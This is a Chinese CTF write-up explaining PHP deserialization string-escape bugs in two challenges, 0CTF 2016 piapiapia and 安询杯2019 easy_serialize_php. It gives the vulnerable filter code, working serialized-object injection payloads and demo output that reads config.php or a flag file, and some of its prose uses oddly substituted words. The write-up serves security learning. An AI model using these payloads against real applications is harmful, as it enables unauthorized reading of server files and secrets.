php反序列化字符逃逸,PHP反序列化字符串逃逸

经过CTF比赛了解PHP反序列化,记录本身的学习。

借用哈大佬们的名言

任何具备必定结构的数据,若是通过了某些处理而把结构体自己的结构给打乱了,则有可能会产生漏洞。

0CTF 2016piapiapia-----反序列化后长度递增

安询杯2019-easy_serialize_php-----反序列化后长度递减

0CTF 2016piapiapia

因为是代码审计,直接访问www.zip发现备份的源码,有一下文件,flag就在config.php,所以读取便可

class.php //主要有mysql类(mysql基本操做)和user类(继承mysql实现功能点)

config.php //环境配置

index.php //登录

profile.php //查看本身上传的文件

register.php //注册

update.php //文件上传

源码分析

而后分析代码,我喜欢经过功能点来分析,既然有注册,登录,那么天然来看看SQL咯,发现class.php中mysql类的filter过滤函数,过滤了增删查改,基本无望.

后面就看看文件上传,发现也对上传的文件参数进行了限制,可是发现对文件进行了序列化处理,那么确定有反序列化,在profile.php中发现对上传的文件进行反序列化处理,并对文件$profile['photo']进行读取.咱们再回到文件上传点,发现$profile['photo'] = 'upload/' . md5($file['name']);,可是咱们没法获取加密后的文件值,后面有又看到文件上传是先序列化,再进过filter函数替换一些关键字,再反序列化,所以文件可能发生改变,所以可能有漏洞

payload构造

咱们知道,PHP反序列化时以;做为分隔点,}作为结束标志,根据长度来判断读取多少字符,咱们没法控制$profile['photo']可是能够控制nickname,而nickname又进行了长度限制,strlen函数却没法处理数组,所以用数组进行绕过便可咱们在这里截断,那么后面的则会被废弃再也不读取,而咱们要构造的的payload是,最开始的";}是为了闭合前面数组nickname的{,后面的;}是为了截断,让反序列化结束,再也不读取后面的内容,固然这些都不能是字符哈.

";}s:5:"photo";s:10:"config.php";}

这时构造了payload,那么就要来计算溢出数量了,咱们构造的payload长度为34,那么就要增长34个长度,因为where变成hacker会增长一个长度,那么咱们就须要34个where,最终payloadphp

wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}

原理解析

function filter($string) {

$escape = array('\'', '\\\\');

$escape = '/' . implode('|', $escape) . '/';

$string = preg_replace($escape, '_', $string);

$safe = array('select', 'insert', 'update', 'delete', 'where');

$safe = '/' . implode('|', $safe) . '/i';

return preg_replace($safe, 'hacker', $string);

}

$profile = array(

'phone'=>'01234567890',

'email'=>'12345678@11.com',

'nickname'=>array('wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'),

'photo'=>'upload/'.md5('1.jpg')

);

print_r(serialize($profile));

echo PHP_EOL;

print_r(filter(serialize($profile)));

echo PHP_EOL;

var_dump(unserialize(filter(serialize($profile))));

echo PHP_EOL;

?>

输出结果展现,最开始不用进过filter函数反序列化时,nickname数组的第一个值没被截断是一个总体wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";},恰好204个长度,通过filter过滤函数后,where变成了hacker,反序列化的长度变化了,可是又只读取204的长度,则s:5:"photo";s:10:"config.php";}";}就多出来了,做为另外一个反序列化的其中一个元素,而末尾的'}又不是字符,所以被认为反序列化结束了,后面的内容被丢弃,所以能够任意读取文件.

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

a:4:{s:5:"phone";s:11:"01234567890";s:5:"email";s:15:"12345678@11.com";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:39:"upload/f3ccdd27d2000e3f9255a7e3e2c48800";}

array(4) {

'phone' =>

string(11) "01234567890"

'email' =>

string(15) "12345678@11.com"

'nickname' =>

array(1) {

[0] =>

string(204) "hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker"

}

'photo' =>

string(10) "config.php"

}

安询杯2019-easy_serialize_php

源码

$function = @$_GET['f'];

function filter($img){

$filter_arr = array('php','flag','php5','php4','fl1g');

$filter = '/'.implode('|',$filter_arr).'/i';

return preg_replace($filter,'',$img);

}

if($_SESSION){

unset($_SESSION);

}

$_SESSION["user"] = 'guest';

$_SESSION['function'] = $function;

extract($_POST);

if(!$function){

echo 'source_code';

}

if(!$_GET['img_path']){

$_SESSION['img'] = base64_encode('guest_img.png');

}else{

$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

}

$serialize_info = filter(serialize($_SESSION));

if($function == 'highlight_file'){

highlight_file('index.php');

}else if($function == 'phpinfo'){

eval('phpinfo();'); //maybe you can find something in here!

}else if($function == 'show_image'){

$userinfo = unserialize($serialize_info);

echo file_get_contents(base64_decode($userinfo['img']));

}

分析

源码很少,我就习惯先通读一遍再回溯可能出现的漏洞点,找可控参数.通读彻底发现可能存在的漏洞点:extract变量覆盖,file_get_contents任意文件读取.

将变量$userinfo['img']逆推回去发现,是由参数img_path控制的,可是通过sha1加密,咱们没法得知加密后内容,但结合前面的extract变量覆盖,咱们能够本身POST构造.

构造了以后,会通过序列化filter函数替换一些字符(那么此时序列化后的数据则发生了变化,可能存在漏洞),再反序列化,读取参数值.

payload构造

咱们任然利用序列化,通过过滤后长度发生变化来构造payload,首先明白序列化后,有三个元素,分别是img,user,function,而咱们能控制的只有后面两个,咱们须要构造的payload是这样的

f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}

可是不经任何改变则是这样的

a:3:{s:4:"user";s:5:"guest";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

我仍是利用截断的思想不让其读取元素img的值,咱们本身来构造这个值,只有两个参数,必须在function哪里截断,而这个反序列是长度递减,那么就是选择元素吞噬(吞噬的长度本身酌情参考,通常是到本身能控制的点就好)后面的长度,来构造本身的payload咯,咱们就选user元素吧,len('";s:8:"function";s:10:"')的长度为23,可是咱们没法构造23个长度,咱们能够多吞噬一个,24个字符,那么就用6个flag就好,可是这样后面的序列化就混乱了,咱们就要添加本身的payload,并补全.虽然这样补好了,可是只有两个元素,这里须要三个元素,咱们就再添加元素,并将后面的img进行截断

a:3:{s:4:"user";s:24:"";s:8:"function";s:10:"show_image";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

a:3:{s:4:"user";s:24:"";s:8:"function";s:2:"22";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

截断只需}便可,而且不为读取的字符便可,所以添加f";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";},这里咱们新增了一个元素,所以吞噬后function元素消失了,随便补充好元素便可.

原理解析

function filter($img){

$filter_arr = array('php','flag','php5','php4','fl1g');

$filter = '/'.implode('|',$filter_arr).'/i';

return preg_replace($filter,'',$img);

}

$arr = array(

"user"=>"flagflagflagflagflagflag",

"function"=>'2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}',

//"user"=>'guest',

//"function"=>'show_image',

"img"=>sha1(base64_encode('guest_img.png'))

);

print_r(serialize($arr));

echo PHP_EOL;

print_r(filter(serialize($arr)));

echo PHP_EOL;

print_r(unserialize(filter(serialize($arr))));

?>

输出展现

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

a:3:{s:4:"user";s:24:"";s:8:"function";s:62:"2";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:3:"tql";s:3:"tql";}";s:3:"img";s:40:"1b75545ff7fcd63fb78a7e4f52a0500d4f39b8f5";}

Array

(

[user] => ";s:8:"function";s:62:"2

[img] => ZDBnM19mMWFnLnBocA==

[tql] => tql

)

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值